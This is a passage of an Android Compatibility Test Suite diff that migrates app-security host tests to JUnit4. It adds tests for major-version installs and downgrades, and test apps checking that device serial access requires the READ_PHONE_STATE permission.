+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testAccessCoarseLocationPermission");
+    }
+
+    /** Test for android.permission.NETWORK */
+    public void testInternetPermission() throws Throwable {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInternetPermission");
+    }
+
+    /** Test for android.permission.VIBRATE */
+    public void testVibratePermission() throws Throwable {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testVibratePermission");
+    }
+
+    /** Test for android.permission.WAKE_LOCK */
+    public void testWakeLockPermission() throws Throwable {
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testWakeLockPermission");
+    }
+
     private static final HashMap<String, String> makeArgs(
             String action, String category, String mimeType) {
         if (action == null || action.length() == 0) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
index 87d8bd6..d2f032d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ExternalStorageHostTest.java
@@ -16,24 +16,28 @@
 
 package android.appsecurity.cts;
 
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.AbiUtils;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.io.FileNotFoundException;
 
 /**
  * Set of tests that verify behavior of external storage devices.
  */
-public class ExternalStorageHostTest extends DeviceTestCase
-        implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ExternalStorageHostTest extends BaseHostJUnit4Test {
     private static final String TAG = "ExternalStorageHostTest";
 
     private static final String COMMON_CLASS =
@@ -53,47 +57,29 @@
     private static final String MULTIUSER_CLASS = ".MultiUserStorageTest";
 
     private int[] mUsers;
-    private IAbi mAbi;
-    private IBuildInfo mCtsBuild;
-
-    @Override
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
 
     private File getTestAppFile(String fileName) throws FileNotFoundException {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
         return buildHelper.getTestFile(fileName);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setUp() throws Exception {
         mUsers = Utils.prepareMultipleUsers(getDevice());
-        assertNotNull(mAbi);
-        assertNotNull(mCtsBuild);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
+        assertNotNull(getAbi());
+        assertNotNull(getBuild());
     }
 
     /**
      * Verify that app with no external storage permissions works correctly.
      */
+    @Test
     public void testExternalStorageNone() throws Exception {
         try {
             wipePrimaryExternalStorage();
 
             getDevice().uninstallPackage(NONE_PKG);
-            String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
             assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
 
             for (int user : mUsers) {
@@ -110,12 +96,13 @@
      * {@link android.Manifest.permission#READ_EXTERNAL_STORAGE} works
      * correctly.
      */
+    @Test
     public void testExternalStorageRead() throws Exception {
         try {
             wipePrimaryExternalStorage();
 
             getDevice().uninstallPackage(READ_PKG);
-            String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
             assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
 
             for (int user : mUsers) {
@@ -132,12 +119,13 @@
      * {@link android.Manifest.permission#WRITE_EXTERNAL_STORAGE} works
      * correctly.
      */
+    @Test
     public void testExternalStorageWrite() throws Exception {
         try {
             wipePrimaryExternalStorage();
 
             getDevice().uninstallPackage(WRITE_PKG);
-            String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
             assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
 
             for (int user : mUsers) {
@@ -153,6 +141,7 @@
      * Verify that app with WRITE_EXTERNAL can leave gifts in external storage
      * directories belonging to other apps, and those apps can read.
      */
+    @Test
     public void testExternalStorageGifts() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -160,7 +149,7 @@
             getDevice().uninstallPackage(NONE_PKG);
             getDevice().uninstallPackage(READ_PKG);
             getDevice().uninstallPackage(WRITE_PKG);
-            final String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            final String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
 
             // We purposefully delay the installation of the reading apps to
             // verify that the daemon correctly invalidates any caches.
@@ -186,6 +175,7 @@
      * Test multi-user emulated storage environment, ensuring that each user has
      * isolated storage.
      */
+    @Test
     public void testMultiUserStorageIsolated() throws Exception {
         try {
             if (mUsers.length == 1) {
@@ -198,7 +188,7 @@
 
             // Install our test app
             getDevice().uninstallPackage(MULTIUSER_PKG);
-            String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
             final String installResult = getDevice()
                     .installPackage(getTestAppFile(MULTIUSER_APK), false, options);
             assertNull("Failed to install: " + installResult, installResult);
@@ -231,6 +221,7 @@
      * Test that apps with read permissions see the appropriate permissions
      * when apps with r/w permission levels move around their files.
      */
+    @Test
     public void testMultiViewMoveConsistency() throws Exception {
         try {
             wipePrimaryExternalStorage();
@@ -238,7 +229,7 @@
             getDevice().uninstallPackage(NONE_PKG);
             getDevice().uninstallPackage(READ_PKG);
             getDevice().uninstallPackage(WRITE_PKG);
-            final String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            final String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
 
             assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
             assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
@@ -271,13 +262,14 @@
     }
 
     /** Verify that app without READ_EXTERNAL can play default URIs in external storage. */
+    @Test
     public void testExternalStorageReadDefaultUris() throws Exception {
         try {
             wipePrimaryExternalStorage();
 
             getDevice().uninstallPackage(NONE_PKG);
             getDevice().uninstallPackage(WRITE_PKG);
-            final String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+            final String[] options = {AbiUtils.createAbiFlag(getAbi().getName())};
 
             assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
             assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
@@ -324,11 +316,11 @@
 
     private void runDeviceTests(String packageName, String testClassName, int userId)
             throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName, testClassName, userId);
+        runDeviceTests(getDevice(), packageName, testClassName, null, userId, null);
     }
 
     private void runDeviceTests(String packageName, String testClassName, String testMethodName,
             int userId) throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId);
+        runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId, null);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
new file mode 100644
index 0000000..15c3d3c
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+/**
+ * Test that install of apps using major version codes is being handled properly.
+ */
+public class MajorVersionTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+    private static final String PKG = "com.android.cts.majorversion";
+    private static final String APK_000000000000ffff = "CtsMajorVersion000000000000ffff.apk";
+    private static final String APK_00000000ffffffff = "CtsMajorVersion00000000ffffffff.apk";
+    private static final String APK_000000ff00000000 = "CtsMajorVersion000000ff00000000.apk";
+    private static final String APK_000000ffffffffff = "CtsMajorVersion000000ffffffffff.apk";
+
+    private IAbi mAbi;
+    private CompatibilityBuildHelper mBuildHelper;
+
+    @Override
+    public void setAbi(IAbi abi) {
+        mAbi = abi;
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        Utils.prepareSingleUser(getDevice());
+        assertNotNull(mAbi);
+        assertNotNull(mBuildHelper);
+
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+
+        getDevice().uninstallPackage(PKG);
+    }
+
+    public void testInstallMinorVersion() throws Exception {
+        assertNull(getDevice().installPackage(
+                mBuildHelper.getTestFile(APK_000000000000ffff), false, false));
+        assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+        runVersionDeviceTests("testCheckVersion");
+        getDevice().uninstallPackage(PKG);
+    }
+
+    public void testInstallMajorVersion() throws Exception {
+        assertNull(getDevice().installPackage(
+                mBuildHelper.getTestFile(APK_000000ff00000000), false, false));
+        assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+        runVersionDeviceTests("testCheckVersion");
+        getDevice().uninstallPackage(PKG);
+    }
+
+    public void testInstallUpdateAcrossMinorMajorVersion() throws Exception {
+        assertNull(getDevice().installPackage(
+                mBuildHelper.getTestFile(APK_000000000000ffff), false, false));
+        assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+        runVersionDeviceTests("testCheckVersion");
+        assertNull(getDevice().installPackage(
+                mBuildHelper.getTestFile(APK_00000000ffffffff), true, false));
+        assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+        runVersionDeviceTests("testCheckVersion");
+        assertNull(getDevice().installPackage(
+                mBuildHelper.getTestFile(APK_000000ff00000000), true, false));
+        assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+        runVersionDeviceTests("testCheckVersion");
+        assertNull(getDevice().installPackage(
+                mBuildHelper.getTestFile(APK_000000ffffffffff), true, false));
+        assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+        runVersionDeviceTests("testCheckVersion");
+        getDevice().uninstallPackage(PKG);
+    }
+
+    public void testInstallDowngradeAcrossMajorMinorVersion() throws Exception {
+        assertNull(getDevice().installPackage(
+                mBuildHelper.getTestFile(APK_000000ffffffffff), false, false));
+        assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+        runVersionDeviceTests("testCheckVersion");
+        assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
+                mBuildHelper.getTestFile(APK_00000000ffffffff), true, false));
+        assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+        runVersionDeviceTests("testCheckVersion");
+        assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
+                mBuildHelper.getTestFile(APK_000000ff00000000), true, false));
+        assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+        runVersionDeviceTests("testCheckVersion");
+        assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
+                mBuildHelper.getTestFile(APK_000000000000ffff), true, false));
+        assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+        runVersionDeviceTests("testCheckVersion");
+        getDevice().uninstallPackage(PKG);
+    }
+
+    private void runVersionDeviceTests(String testMethodName)
+            throws DeviceNotAvailableException {
+        runDeviceTests(PKG, PKG + ".VersionTest", testMethodName);
+    }
+
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+            throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
index 033f257..5bb70d1 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
@@ -16,11 +16,21 @@
 
 package android.appsecurity.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Tests for visibility of packages installed in one user, in a different user.
  */
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class PackageVisibilityTest extends BaseAppSecurityTest {
 
     private static final String TINY_APK = "CtsPkgInstallTinyApp.apk";
@@ -35,8 +45,8 @@
     private int[] mUsers;
     private String mOldVerifierValue;
 
-    public void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUpPackage() throws Exception {
 
         mUsers = Utils.prepareMultipleUsers(getDevice());
         mOldVerifierValue =
@@ -47,14 +57,15 @@
         installTestAppForUser(TEST_APK, mPrimaryUserId);
     }
 
+    @After
     public void tearDown() throws Exception {
         getDevice().uninstallPackage(TEST_PKG);
         getDevice().uninstallPackage(TINY_PKG);
         getDevice().executeShellCommand("settings put global package_verifier_enable "
                 + mOldVerifierValue);
-        super.tearDown();
     }
 
+    @Test
     public void testUninstalledPackageVisibility() throws Exception {
         if (!mSupportsMultiUser) {
             return;
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index caabeb5..28c44fc 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -46,6 +46,10 @@
     private static final String APK_ESCLATE_TO_RUNTIME_PERMISSIONS =
             "CtsEscalateToRuntimePermissions.apk";
 
+    private static final String APK_ACCESS_SERIAL_LEGACY = "CtsAccessSerialLegacy.apk";
+    private static final String APK_ACCESS_SERIAL_MODERN = "CtsAccessSerialModern.apk";
+    private static final String ACCESS_SERIAL_PKG = "android.os.cts";
+
     private static final String SCREEN_OFF_TIMEOUT_NS = "system";
     private static final String SCREEN_OFF_TIMEOUT_KEY = "screen_off_timeout";
     private String mScreenTimeoutBeforeTest;
@@ -74,6 +78,7 @@
         getDevice().uninstallPackage(USES_PERMISSION_PKG);
         getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
         getDevice().uninstallPackage(PERMISSION_POLICY_25_PKG);
+        getDevice().uninstallPackage(ACCESS_SERIAL_PKG);
 
         // Set screen timeout to 30 min to not timeout while waiting for UI to change
         mScreenTimeoutBeforeTest = getDevice().getSetting(SCREEN_OFF_TIMEOUT_NS,
@@ -95,6 +100,7 @@
         getDevice().uninstallPackage(USES_PERMISSION_PKG);
         getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
         getDevice().uninstallPackage(PERMISSION_POLICY_25_PKG);
+        getDevice().uninstallPackage(ACCESS_SERIAL_PKG);
     }
 
     public void testFail() throws Exception {
@@ -347,6 +353,30 @@
                 "testNoProtectionFlagsAddedToNonSignatureProtectionPermissions");
     }
 
+    public void testLegacyAppAccessSerial() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                APK_PERMISSION_POLICY_25), false, false));
+        runDeviceTests(PERMISSION_POLICY_25_PKG,
+                "com.android.cts.permission.policy.PermissionPolicyTest25",
+                "testNoProtectionFlagsAddedToNonSignatureProtectionPermissions");
+    }
+
+    public void testSerialAccessPolicy() throws Exception {
+        // Verify legacy app behavior
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                APK_ACCESS_SERIAL_LEGACY), false, false));
+        runDeviceTests(ACCESS_SERIAL_PKG,
+                "android.os.cts.AccessSerialLegacyTest",
+                "testAccessSerialNoPermissionNeeded");
+
+        // Verify modern app behavior
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                APK_ACCESS_SERIAL_MODERN), true, false));
+        runDeviceTests(ACCESS_SERIAL_PKG,
+                "android.os.cts.AccessSerialModernTest",
+                "testAccessSerialPermissionNeeded");
+    }
+
     private void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index fa0120d..c5edf05 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -16,9 +16,13 @@
 
 package android.appsecurity.cts;
 
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.ddmlib.testrunner.TestResult;
+import com.android.ddmlib.testrunner.TestRunResult;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import junit.framework.AssertionFailedError;
 
@@ -27,13 +31,13 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.concurrent.TimeUnit;
+import java.util.Map;
 
 /**
  * Tests that exercise various storage APIs.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class StorageHostTest extends CompatibilityHostTestBase {
+public class StorageHostTest extends BaseHostJUnit4Test {
     private static final String PKG_STATS = "com.android.cts.storagestatsapp";
     private static final String PKG_A = "com.android.cts.storageapp_a";
     private static final String PKG_B = "com.android.cts.storageapp_b";
@@ -236,7 +240,22 @@
 
     public void runDeviceTests(String packageName, String testClassName, String testMethodName,
             int userId) throws DeviceNotAvailableException {
-        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId, null,
-                20L, TimeUnit.MINUTES);
+        if (!runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId, 20 * 60 * 1000L)) {
+            TestRunResult res = getLastDeviceRunResults();
+            if (res != null) {
+                StringBuilder errorBuilder = new StringBuilder("on-device tests failed:\n");
+                for (Map.Entry<TestIdentifier, TestResult> resultEntry :
+                    res.getTestResults().entrySet()) {
+                    if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                        errorBuilder.append(resultEntry.getKey().toString());
+                        errorBuilder.append(":\n");
+                        errorBuilder.append(resultEntry.getValue().getStackTrace());
+                    }
+                }
+                throw new AssertionError(errorBuilder.toString());
+            } else {
+                throw new AssertionFailedError("Error when running device tests.");
+            }
+        }
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index 67ee091..8bad048 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -32,26 +32,6 @@
 public class Utils {
     public static final int USER_SYSTEM = 0;
 
-    public static void runDeviceTests(ITestDevice device, String packageName)
-            throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, null, null, USER_SYSTEM, null);
-    }
-
-    public static void runDeviceTests(ITestDevice device, String packageName, int userId)
-            throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, null, null, userId, null);
-    }
-
-    public static void runDeviceTests(ITestDevice device, String packageName, String testClassName)
-            throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, testClassName, null, USER_SYSTEM, null);
-    }
-
-    public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
-            int userId) throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, testClassName, null, userId, null);
-    }
-
     public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
             String testMethodName) throws DeviceNotAvailableException {
         runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM, null);
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
new file mode 100644
index 0000000..e4b7962
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsAccessSerialLegacy
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml
new file mode 100644
index 0000000..6976c56
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.cts">
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27" />
+
+    <application/>
+
+    <instrumentation
+            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.os.cts" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/src/android/os/cts/AccessSerialLegacyTest.java b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/src/android/os/cts/AccessSerialLegacyTest.java
new file mode 100644
index 0000000..6dd97c3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/src/android/os/cts/AccessSerialLegacyTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import android.os.Build;
+import org.junit.Test;
+
+/**
+ * Test that legacy apps can access the device serial without the phone permission.
+ */
+public class AccessSerialLegacyTest {
+    @Test
+    public void testAccessSerialNoPermissionNeeded() throws Exception {
+        // Build.SERIAL should provide the device serial for legacy apps.
+        // We don't know the serial but know that it should not be the dummy
+        // value returned to unauthorized callers, so make sure not that value
+        assertTrue("Build.SERIAL must be visible to legacy apps",
+                !Build.UNKNOWN.equals(Build.SERIAL));
+
+        // We don't have the READ_PHONE_STATE permission, so this should throw
+        try {
+            Build.getSerial();
+            fail("getSerial() must be gated on the READ_PHONE_STATE permission");
+        } catch (SecurityException e) {
+            /* expected */
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
new file mode 100644
index 0000000..20d51b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
@@ -0,0 +1,36 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    android-support-test \
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsAccessSerialModern
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml
new file mode 100644
index 0000000..087aa21
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.os.cts">
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28" />
+
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
+    <application/>
+
+    <instrumentation
+            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.os.cts" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java b/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java
new file mode 100644
index 0000000..df8ed97
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import android.Manifest;
+import android.os.Build;
+import android.support.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.SystemUtil;
+import org.junit.Test;
+
+import java.io.IOException;
+
+/**
+ * Test that legacy apps can access the device serial without the phone permission.
+ */
+public class AccessSerialModernTest {
+    @Test
+    public void testAccessSerialPermissionNeeded() throws Exception {
+        // Build.SERIAL should not provide the device serial for modern apps.
+        // We don't know the serial but know that it should be the dummy
